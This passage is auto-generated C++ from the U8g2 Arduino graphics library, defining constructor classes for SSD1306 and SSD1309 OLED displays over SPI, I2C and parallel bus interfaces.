U8G2_SSD1306_64X32_1F_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X32_NONAME_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X32_1F_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X32_1F_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X32_1F_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X32_NONAME_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X32_NONAME_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X32_1F_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X32_1F_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X32_1F_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X32_NONAME_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X32_NONAME_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X32_1F_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X32_1F_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X32_1F_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X16_ER_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X16_ER_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X16_ER_1_6800 : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_1_8080 : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X16_ER_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X16_ER_2_6800 : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_2_8080 : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X16_ER_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X16_ER_F_6800 : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_F_8080 : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X16_ER_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X16_ER_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X16_ER_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X16_ER_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X16_ER_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X16_ER_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X16_ER_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X16_ER_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X16_ER_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X16_ER_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1309_128X64_NONAME2_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_1_6800 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_1_8080 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_2_6800 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_2_8080 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_8080(const 